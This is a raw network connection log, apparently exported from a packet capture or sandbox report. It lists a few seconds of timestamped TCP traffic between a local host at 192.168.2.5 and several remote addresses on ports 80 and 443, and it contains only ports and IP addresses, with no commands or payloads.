Oct 28, 2024 18:43:41.887412071 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:41.889120102 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.889213085 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.889777899 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.889867067 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.889911890 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.889936924 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.889992952 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.890104055 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.890105009 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.890132904 CET	63621	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.890141010 CET	443	63621	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.893004894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:41.893034935 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.893048048 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.893222094 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.893418074 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.893460989 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.893475056 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.893686056 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.894959927 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.894959927 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.895638943 CET	63619	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.895658016 CET	443	63619	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.897514105 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.897536993 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.897738934 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.897941113 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:41.897967100 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:41.914433002 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.914495945 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.914535046 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.914544106 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.914572954 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.915750980 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.915795088 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.915831089 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.915838003 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.915991068 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.916475058 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.916515112 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.916542053 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.916546106 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.916848898 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.956866980 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.956892967 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.960891962 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.960911036 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.961030006 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.961034060 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:41.961147070 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:41.971836090 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.972718000 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:41.972898006 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.974797010 CET	63627	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:41.974808931 CET	443	63627	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.032459021 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.032515049 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.032553911 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.032579899 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.032629013 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.032629013 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.032716990 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.032999039 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.034837008 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.034862995 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.034943104 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.034955025 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.035020113 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.035020113 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.126765966 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.126871109 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.148556948 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.148713112 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.148732901 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.148756981 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.148870945 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.149180889 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.149197102 CET	443	63613	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.149210930 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.149256945 CET	63613	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.152045012 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.152062893 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.152158022 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.152168036 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.152226925 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.176095963 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:42.176163912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:42.176172972 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:42.176239967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:42.176239967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:42.187319040 CET	63620	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.187340021 CET	443	63620	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.212505102 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:42.217997074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:42.264982939 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.265024900 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.265170097 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.265876055 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.265888929 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.268136024 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.268151999 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.268490076 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.268510103 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.268884897 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.286720991 CET	63637	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:42.286748886 CET	443	63637	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.287013054 CET	63637	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:42.287966967 CET	63637	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:42.287976980 CET	443	63637	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.299299002 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.300496101 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.313352108 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.313730001 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.337368965 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.337383986 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.337584972 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.337584972 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.337594986 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.337606907 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.338527918 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.338568926 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.339142084 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.339142084 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.339153051 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.339176893 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.385478020 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.385497093 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.385683060 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.385703087 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.385834932 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.425986052 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.426028967 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.426260948 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.432116985 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.432127953 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.435801029 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.435837030 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.436170101 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.436397076 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.436414957 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.476581097 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.476808071 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:42.476816893 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.478346109 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.478651047 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:42.478779078 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:42.478789091 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.478815079 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.500740051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:42.500794888 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:42.501982927 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.502002954 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.502063036 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.502077103 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.502134085 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.502552032 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.502609015 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.516885996 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:42.522279978 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:42.526851892 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:42.543255091 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.543968916 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.543988943 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.544426918 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.544433117 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.547230005 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.547265053 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.547306061 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.547322035 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.547348022 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.589349031 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.589715958 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.590153933 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.590178967 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.590586901 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.590593100 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.620070934 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.620091915 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.620150089 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.620170116 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.620214939 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.620239019 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.633253098 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.634828091 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.647588015 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.659820080 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.659882069 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:42.662331104 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.662403107 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.662467003 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.662532091 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.664577961 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.664611101 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.664645910 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.664649963 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.664694071 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.666368008 CET	63630	443	192.168.2.5	20.125.209.212
Oct 28, 2024 18:43:42.666387081 CET	443	63630	20.125.209.212	192.168.2.5
Oct 28, 2024 18:43:42.670161009 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.670186043 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.670708895 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.670713902 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.670834064 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.671066999 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.671143055 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.671395063 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.671473980 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.671791077 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.671804905 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.672348976 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.672348976 CET	63631	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.672384977 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.672409058 CET	443	63631	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.673640966 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.673680067 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.673702955 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.674268961 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.674325943 CET	443	63628	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.674443960 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.674468040 CET	63628	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.674503088 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.674590111 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.674702883 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.675080061 CET	63640	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:42.675124884 CET	443	63640	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:42.675812006 CET	63615	443	192.168.2.5	23.47.50.136
Oct 28, 2024 18:43:42.675832987 CET	443	63615	23.47.50.136	192.168.2.5
Oct 28, 2024 18:43:42.682579994 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.682612896 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.683887005 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.683898926 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.683990002 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.684024096 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.684088945 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.684402943 CET	63641	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.684416056 CET	443	63641	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.722326040 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.722726107 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.722805023 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.722898960 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.722908974 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.722954035 CET	63632	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.722960949 CET	443	63632	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.726335049 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.726411104 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.726591110 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.726907969 CET	63642	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.726954937 CET	443	63642	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.800736904 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.800812960 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.800892115 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.801234961 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.801242113 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.801253080 CET	63634	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.801258087 CET	443	63634	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.805682898 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.805706024 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.805818081 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.809640884 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.809781075 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.809869051 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.811784983 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.811846972 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.811939001 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.812031031 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.816585064 CET	63643	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.816610098 CET	443	63643	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.825500965 CET	63633	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.825506926 CET	443	63633	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.828409910 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.828418016 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.828425884 CET	63635	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.828429937 CET	443	63635	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.836863041 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.836879015 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.837003946 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.837733984 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.837762117 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.837992907 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.840482950 CET	63644	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.840496063 CET	443	63644	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.840512991 CET	63645	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:42.840528965 CET	443	63645	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:42.899341106 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.899374962 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.899384975 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.899406910 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.899441004 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.899451971 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.899502993 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.902322054 CET	443	63637	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.903155088 CET	63637	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:42.903162956 CET	443	63637	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.904293060 CET	443	63637	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.905073881 CET	63637	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:42.905251980 CET	443	63637	23.222.241.144	192.168.2.5
Oct 28, 2024 18:43:42.905800104 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.905803919 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.905817032 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.905966043 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.906002998 CET	443	63629	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:42.906063080 CET	63629	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:42.947391033 CET	63637	443	192.168.2.5	23.222.241.144
Oct 28, 2024 18:43:43.075387001 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:43.075427055 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:43.075489044 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:43.075877905 CET	63646	443	192.168.2.5	40.126.31.71
Oct 28, 2024 18:43:43.075890064 CET	443	63646	40.126.31.71	192.168.2.5
Oct 28, 2024 18:43:43.095037937 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.095283985 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.095298052 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.098361969 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.098434925 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.099174976 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.099236012 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.099370003 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.099378109 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.099426031 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.099452019 CET	443	63636	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.146136999 CET	63636	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.232063055 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.232487917 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.232511997 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.234006882 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.234085083 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.234386921 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.234477043 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.234566927 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.234582901 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.234612942 CET	63639	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.234658957 CET	443	63639	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.240600109 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.240963936 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.240976095 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.241341114 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.241693020 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.241770029 CET	443	63638	13.89.179.13	192.168.2.5
Oct 28, 2024 18:43:43.241887093 CET	63638	443	192.168.2.5	13.89.179.13
Oct 28, 2024 18:43:43.241944075 CET	63638	443	192.168.2.5	13.89.179.13
